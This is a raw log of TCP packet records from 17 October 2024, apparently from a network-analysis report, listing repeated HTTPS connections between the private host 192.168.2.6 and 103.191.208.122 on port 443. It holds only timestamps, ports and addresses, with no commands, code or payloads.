Oct 17, 2024 10:54:22.594995975 CEST	443	50069	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:22.595025063 CEST	443	50069	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:22.595087051 CEST	443	50069	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:22.595124960 CEST	50069	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:22.595278025 CEST	50069	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:22.595979929 CEST	50069	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:22.596757889 CEST	50070	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:22.596786022 CEST	443	50070	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:22.596867085 CEST	50070	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:22.597182035 CEST	50070	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:22.597194910 CEST	443	50070	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:23.698543072 CEST	443	50070	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:23.700818062 CEST	50070	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:23.700850964 CEST	443	50070	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:24.075907946 CEST	443	50070	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:24.075992107 CEST	443	50070	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:24.076096058 CEST	50070	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:24.076116085 CEST	443	50070	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:24.076137066 CEST	443	50070	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:24.076276064 CEST	50070	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:24.077565908 CEST	50070	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:24.078649044 CEST	50071	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:24.078758001 CEST	443	50071	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:24.078915119 CEST	50071	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:24.079659939 CEST	50071	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:24.079688072 CEST	443	50071	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:25.182199955 CEST	443	50071	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:25.184736013 CEST	50071	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:25.184802055 CEST	443	50071	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:25.552903891 CEST	443	50071	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:25.552966118 CEST	443	50071	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:25.553071976 CEST	50071	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:25.553103924 CEST	443	50071	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:25.553165913 CEST	50071	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:25.553750992 CEST	50071	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:25.554766893 CEST	50072	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:25.554821968 CEST	443	50072	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:25.554893970 CEST	50072	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:25.555179119 CEST	50072	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:25.555192947 CEST	443	50072	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:26.643121958 CEST	443	50072	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:26.645267963 CEST	50072	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:26.645292044 CEST	443	50072	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:27.009860039 CEST	443	50072	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:27.009918928 CEST	443	50072	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:27.010052919 CEST	443	50072	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:27.010139942 CEST	50072	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:27.010494947 CEST	50072	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:27.011765957 CEST	50072	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:27.013137102 CEST	50073	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:27.013246059 CEST	443	50073	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:27.013390064 CEST	50073	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:27.014015913 CEST	50073	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:27.014056921 CEST	443	50073	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:28.127621889 CEST	443	50073	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:28.130131006 CEST	50073	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:28.130194902 CEST	443	50073	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:28.503519058 CEST	443	50073	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:28.503586054 CEST	443	50073	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:28.503699064 CEST	50073	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:28.503742933 CEST	443	50073	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:28.503772974 CEST	443	50073	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:28.503823996 CEST	50073	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:28.504518986 CEST	50073	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:28.505460978 CEST	50074	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:28.505492926 CEST	443	50074	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:28.505573988 CEST	50074	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:28.505886078 CEST	50074	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:28.505901098 CEST	443	50074	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:29.618387938 CEST	443	50074	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:29.621042013 CEST	50074	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:29.621090889 CEST	443	50074	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:29.992494106 CEST	443	50074	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:29.992527962 CEST	443	50074	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:29.992607117 CEST	443	50074	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:29.992686033 CEST	50074	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:29.992727995 CEST	50074	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:30.002852917 CEST	50074	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:30.010448933 CEST	50075	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:30.010513067 CEST	443	50075	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:30.010601044 CEST	50075	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:30.011751890 CEST	50075	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:30.011768103 CEST	443	50075	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:31.080471039 CEST	443	50075	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:31.082935095 CEST	50075	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:31.082958937 CEST	443	50075	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:31.447673082 CEST	443	50075	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:31.447705030 CEST	443	50075	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:31.447773933 CEST	443	50075	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:31.447855949 CEST	50075	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:31.447916031 CEST	50075	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:31.448806047 CEST	50075	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:31.449635983 CEST	50076	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:31.449732065 CEST	443	50076	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:31.449847937 CEST	50076	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:31.450153112 CEST	50076	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:31.450212955 CEST	443	50076	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:32.553275108 CEST	443	50076	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:32.556041956 CEST	50076	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:32.556107998 CEST	443	50076	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:33.124634981 CEST	443	50076	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:33.124665022 CEST	443	50076	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:33.124722004 CEST	443	50076	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:33.124836922 CEST	50076	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:33.124874115 CEST	50076	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:33.125719070 CEST	50076	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:33.126514912 CEST	50077	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:33.126565933 CEST	443	50077	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:33.126672029 CEST	50077	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:33.127053022 CEST	50077	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:33.127063990 CEST	443	50077	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:34.217415094 CEST	443	50077	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:34.219676971 CEST	50077	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:34.219702005 CEST	443	50077	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:34.584969044 CEST	443	50077	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:34.584997892 CEST	443	50077	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:34.585061073 CEST	443	50077	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:34.585098982 CEST	50077	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:34.585155010 CEST	50077	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:34.586061954 CEST	50077	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:34.586857080 CEST	50078	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:34.586885929 CEST	443	50078	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:34.586961985 CEST	50078	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:34.587286949 CEST	50078	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:34.587295055 CEST	443	50078	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:35.684814930 CEST	443	50078	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:35.687516928 CEST	50078	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:35.687547922 CEST	443	50078	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:36.063152075 CEST	443	50078	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:36.063219070 CEST	443	50078	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:36.063369036 CEST	443	50078	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:36.063405037 CEST	50078	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:36.063451052 CEST	50078	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:36.064131975 CEST	50078	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:36.065438986 CEST	50079	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:36.065546036 CEST	443	50079	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:36.065635920 CEST	50079	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:36.066083908 CEST	50079	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:36.066123962 CEST	443	50079	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:37.186677933 CEST	443	50079	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:37.189349890 CEST	50079	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:37.189392090 CEST	443	50079	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:37.837178946 CEST	443	50079	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:37.837208033 CEST	443	50079	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:37.837272882 CEST	443	50079	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:37.837383032 CEST	50079	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:37.837383986 CEST	50079	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:37.838457108 CEST	50079	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:37.839162111 CEST	50080	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:37.839230061 CEST	443	50080	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:37.839324951 CEST	50080	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:37.839606047 CEST	50080	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:37.839639902 CEST	443	50080	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:38.931684017 CEST	443	50080	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:38.933796883 CEST	50080	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:38.933829069 CEST	443	50080	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:39.306014061 CEST	443	50080	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:39.306041002 CEST	443	50080	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:39.306094885 CEST	443	50080	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:39.306118965 CEST	50080	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:39.306145906 CEST	50080	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:39.306739092 CEST	50080	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:39.307390928 CEST	50081	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:39.307445049 CEST	443	50081	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:39.307507992 CEST	50081	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:39.307845116 CEST	50081	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:39.307856083 CEST	443	50081	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:40.402626991 CEST	443	50081	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:40.404469967 CEST	50081	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:40.404522896 CEST	443	50081	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:40.774940968 CEST	443	50081	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:40.774972916 CEST	443	50081	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:40.775027990 CEST	443	50081	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:40.775101900 CEST	50081	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:40.775151968 CEST	50081	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:40.783757925 CEST	50081	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:40.794640064 CEST	50082	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:40.794675112 CEST	443	50082	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:40.794887066 CEST	50082	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:40.795181990 CEST	50082	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:40.795197010 CEST	443	50082	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:42.350765944 CEST	443	50082	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:42.352863073 CEST	50082	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:42.352900028 CEST	443	50082	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:42.739661932 CEST	443	50082	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:42.739696026 CEST	443	50082	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:42.739748001 CEST	443	50082	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:42.739763021 CEST	50082	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:42.739792109 CEST	50082	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:42.740632057 CEST	50082	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:42.741332054 CEST	50084	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:42.741365910 CEST	443	50084	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:42.741431952 CEST	50084	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:42.741743088 CEST	50084	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:42.741755009 CEST	443	50084	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:43.881802082 CEST	443	50084	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:43.883807898 CEST	50084	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:43.883821964 CEST	443	50084	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:44.275213957 CEST	443	50084	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:44.275242090 CEST	443	50084	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:44.275301933 CEST	443	50084	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:44.275459051 CEST	50084	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:44.276247978 CEST	50084	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:44.277025938 CEST	50085	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:44.277122021 CEST	443	50085	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:44.277218103 CEST	50085	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:44.277498007 CEST	50085	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:44.277543068 CEST	443	50085	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:45.495454073 CEST	443	50085	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:45.497507095 CEST	50085	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:45.497559071 CEST	443	50085	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:46.086179018 CEST	443	50085	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:46.086240053 CEST	443	50085	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:46.086340904 CEST	50085	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:46.086380959 CEST	443	50085	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:46.086409092 CEST	443	50085	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:46.086575985 CEST	50085	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:46.087245941 CEST	50085	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:46.087913990 CEST	50086	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:46.087951899 CEST	443	50086	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:46.088021040 CEST	50086	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:46.088376999 CEST	50086	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:46.088398933 CEST	443	50086	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:47.208621025 CEST	443	50086	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:47.211476088 CEST	50086	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:47.211529970 CEST	443	50086	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:47.579402924 CEST	443	50086	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:47.579435110 CEST	443	50086	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:47.579505920 CEST	443	50086	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:47.579559088 CEST	50086	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:47.579715967 CEST	50086	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:47.580400944 CEST	50086	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:47.581155062 CEST	50087	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:47.581197977 CEST	443	50087	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:47.581274986 CEST	50087	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:47.581516981 CEST	50087	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:47.581532955 CEST	443	50087	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:48.669491053 CEST	443	50087	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:48.671416998 CEST	50087	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:48.671444893 CEST	443	50087	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:49.226952076 CEST	443	50087	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:49.227015972 CEST	443	50087	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:49.227082968 CEST	50087	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:49.227098942 CEST	443	50087	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:49.227157116 CEST	443	50087	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:49.227210999 CEST	50087	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:49.227818012 CEST	50087	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:49.228837013 CEST	50088	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:49.228890896 CEST	443	50088	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:49.228965044 CEST	50088	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:49.229338884 CEST	50088	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:49.229356050 CEST	443	50088	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:50.294931889 CEST	443	50088	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:50.297312021 CEST	50088	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:50.297353983 CEST	443	50088	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:50.657114983 CEST	443	50088	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:50.657154083 CEST	443	50088	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:50.657228947 CEST	443	50088	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:50.657499075 CEST	50088	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:50.657584906 CEST	50088	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:50.658925056 CEST	50088	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:50.659960985 CEST	50089	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:50.660017967 CEST	443	50089	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:50.660159111 CEST	50089	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:50.660890102 CEST	50089	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:50.660902023 CEST	443	50089	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:52.043171883 CEST	443	50089	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:52.047265053 CEST	50089	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:52.047300100 CEST	443	50089	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:52.415410042 CEST	443	50089	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:52.415443897 CEST	443	50089	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:52.415529966 CEST	443	50089	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:52.415702105 CEST	50089	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:52.416915894 CEST	50089	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:52.417629004 CEST	50090	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:52.417659044 CEST	443	50090	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:52.417747021 CEST	50090	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:52.418100119 CEST	50090	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:52.418109894 CEST	443	50090	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:54.544899940 CEST	443	50090	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:54.547772884 CEST	50090	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:54.547808886 CEST	443	50090	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:54.923962116 CEST	443	50090	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:54.923995018 CEST	443	50090	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:54.924066067 CEST	443	50090	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:54.924077034 CEST	50090	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:54.924113035 CEST	50090	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:54.924954891 CEST	50090	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:54.925951958 CEST	50091	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:54.926012039 CEST	443	50091	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:54.926083088 CEST	50091	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:54.926457882 CEST	50091	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:54.926482916 CEST	443	50091	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:56.022480965 CEST	443	50091	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:56.024350882 CEST	50091	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:56.024437904 CEST	443	50091	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:56.589515924 CEST	443	50091	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:56.589590073 CEST	443	50091	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:56.589730978 CEST	443	50091	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:56.589888096 CEST	50091	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:56.589952946 CEST	50091	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:56.590742111 CEST	50091	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:56.591938019 CEST	50092	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:56.591978073 CEST	443	50092	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:56.592093945 CEST	50092	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:56.592442989 CEST	50092	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:56.592458010 CEST	443	50092	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:57.696423054 CEST	443	50092	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:57.699517012 CEST	50092	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:57.699551105 CEST	443	50092	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:58.275506973 CEST	443	50092	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:58.275533915 CEST	443	50092	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:58.275593042 CEST	443	50092	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:58.275715113 CEST	50092	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:58.275918961 CEST	50092	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:58.309964895 CEST	50092	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:58.311894894 CEST	50093	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:58.311963081 CEST	443	50093	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:58.312033892 CEST	50093	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:58.312556028 CEST	50093	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:58.312572956 CEST	443	50093	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:59.408109903 CEST	443	50093	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:59.411051035 CEST	50093	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:59.411133051 CEST	443	50093	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:59.798444033 CEST	443	50093	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:59.798470020 CEST	443	50093	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:59.798531055 CEST	443	50093	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:59.798568010 CEST	50093	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:59.798614025 CEST	50093	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:59.799325943 CEST	50093	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:59.799941063 CEST	50094	443	192.168.2.6	103.191.208.122
Oct 17, 2024 10:54:59.799983978 CEST	443	50094	103.191.208.122	192.168.2.6
Oct 17, 2024 10:54:59.800061941 CEST	50094	443	192.168.2.6	103.191.208.122
